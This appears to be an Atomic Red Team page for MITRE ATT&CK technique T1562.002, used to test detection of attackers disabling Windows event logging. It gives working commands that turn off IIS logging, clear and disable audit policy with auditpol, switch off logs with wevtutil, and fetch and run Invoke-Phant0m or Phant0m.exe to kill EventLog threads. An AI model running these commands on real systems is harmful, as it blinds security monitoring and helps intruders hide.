T1562.002 - Disable Windows Event Logging

Description from ATT&CK

> Adversaries may disable Windows event logging to limit data that can be leveraged for detections and audits. Windows event logs record user and system activity such as login attempts, process creation, and much more.(Citation: Windows Log Events) This data is used by security tools and analysts to generate detections.
> The EventLog service maintains event logs from various system components and applications. (Citation: EventLog_Core_Technologies) By default, the service automatically starts when a system powers on. An audit policy, maintained by the Local Security Policy (secpol.msc), defines which system events the EventLog service logs. Security audit policy settings can be changed by running secpol.msc, then navigating to `Security Settings\Local Policies\Audit Policy` for basic audit policy settings or `Security Settings\Advanced Audit Policy Configuration` for advanced audit policy settings.(Citation: Audit_Policy_Microsoft)(Citation: Advanced_sec_audit_policy_settings) `auditpol.exe` may also be used to set audit policies. (Citation: auditpol)

> Adversaries may target system-wide logging or just that of a particular application. For example, the EventLog service may be disabled using the following PowerShell line: `Stop-Service -Name EventLog` .(Citation: Disable_Win_Event_Logging) Additionally, adversaries may use `auditpol` and its sub-commands in a command prompt to disable auditing or clear the audit policy. To enable or disable a specified setting or audit category, adversaries may use the `/success` or `/failure` parameters. For example, `auditpol /set /category:"Account Logon" /success:disable /failure:disable` turns off auditing for the Account Logon category.(Citation: auditpol.exe_STRONTIC)(Citation: T1562.002_redcanaryco) To clear the audit policy, adversaries may run the following lines: `auditpol /clear /y` or `auditpol /remove /allusers` .(Citation: T1562.002_redcanaryco)
>
> By disabling Windows event logging, adversaries can operate while leaving less evidence of a compromise behind.

Atomic Tests

Atomic Test #1 - Disable Windows IIS HTTP Logging

Disables HTTP logging on a Windows IIS web server as seen by Threat Group 3390 (Bronze Union). This action requires HTTP logging configurations in IIS to be unlocked.

Use the cleanup commands to restore some default auditpol settings (your original settings will be lost)

Supported Platforms: Windows

auto_generated_guid: 69435dcf-c66f-4ec0-a8b1-82beb76b34db

Inputs:

Name	Description	Type	Default Value
website_name	The name of the website on a server	String	Default Web Site

Attack Commands: Run with `powershell`!

```
C:\Windows\System32\inetsrv\appcmd.exe set config "#{website_name}" /section:httpl
```

Cleanup Commands:

```
if(Test-Path "C:\Windows\System32\inetsrv\appcmd.exe"){
  C:\Windows\System32\inetsrv\appcmd.exe set config "#{website_name}" /section:htt
}
```

Atomic Test #2 - Kill Event Log Service Threads

Kill Windows Event Log Service Threads using Invoke-Phant0m. WARNING you will need to restart PC to return to normal state with Log Service. https://artofpwn.com/phant0m-killing-windows-event-log.html

Supported Platforms: Windows

auto_generated_guid: 41ac52ba-5d5e-40c0-b267-573ed90489bd

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy RemoteSigned -ErrorAction
$url = "https://raw.githubusercontent.com/hlldz/Invoke-Phant0m/f1396c411a867e1b471
$output = "$env:TEMP\Invoke-Phant0m.ps1"
$wc = New-Object System.Net.WebClient
$wc.DownloadFile($url, $output)
cd $env:TEMP
```

```
Import-Module .\Invoke-Phant0m.ps1
Invoke-Phant0m
```

Cleanup Commands:

```
Write-Host "NEED TO Restart-Computer TO ENSURE LOGGING RETURNS" -fore red
Remove-Item "$env:TEMP\Invoke-Phant0m.ps1" -ErrorAction Ignore
```

Atomic Test #3 - Impair Windows Audit Log Policy

Disables the windows audit policy to prevent key host based telemetry being written into the event logs. Solarigate example

Supported Platforms: Windows

auto_generated_guid: 5102a3a7-e2d7-4129-9e45-f483f2e0eea8

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
auditpol /set /category:"Account Logon" /success:disable /failure:disable
auditpol /set /category:"Logon/Logoff" /success:disable /failure:disable
auditpol /set /category:"Detailed Tracking" /success:disable
```

Cleanup Commands:

```
auditpol /set /category:"Account Logon" /success:enable /failure:enable
auditpol /set /category:"Detailed Tracking" /success:enable
auditpol /set /category:"Logon/Logoff" /success:enable /failure:enable
```

Atomic Test #4 - Clear Windows Audit Policy Config

Clear the Windows audit policy using auditpol utility. This action would stop certain audit events from being recorded in the security log.

Supported Platforms: Windows

auto_generated_guid: 913c0e4e-4b37-4b78-ad0b-90e7b25010f6

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
auditpol /clear /y
auditpol /remove /allusers
```

Cleanup Commands:

```
auditpol /set /category:"Account Logon" /success:enable /failure:enable
auditpol /set /category:"Detailed Tracking" /success:enable
auditpol /set /category:"Logon/Logoff" /success:enable /failure:enable
```

Atomic Test #5 - Disable Event Logging with wevtutil

Wevtutil can be used to disable logs. NOTE: RansomEXX ransomware uses this to disable Security logs post-encryption.

Supported Platforms: Windows

auto_generated_guid: b26a3340-dad7-4360-9176-706269c74103

Inputs:

Name	Description	Type	Default Value
log_name	Name of the log to be disabled	String	Microsoft-Windows-IKE/Operational

Attack Commands: Run with `command_prompt`!

```
wevtutil sl "#{log_name}" /e:false
```

Cleanup Commands:

```
wevtutil sl "#{log_name}" /e:true
```

Atomic Test #6 - Makes Eventlog blind with Phant0m

Use Phant0m to disable Eventlog

Supported Platforms: Windows

auto_generated_guid: 3ddf3d03-f5d6-462a-ad76-2c5ff7b6d741

Inputs:

Name	Description	Type	Default Value
file_name	exe version of Phant0m	Path	PathToAtomicsFolder\T1562.002\bin\Phant0m.exe

Attack Commands: Run with `command_prompt`!

```
PathToAtomicsFolder\T1562.002\bin\Phant0m.exe
```

Cleanup Commands:

```
echo "Sorry you have to reboot"
```

Dependencies: Run with `powershell`!

Description: Phant0m.exe must exist on disk at specified location (#{file_name})

Check Prereq Commands:

```
if (Test-Path #{file_name}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
New-Item -Type Directory (split-path #{file_name}) -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomi
```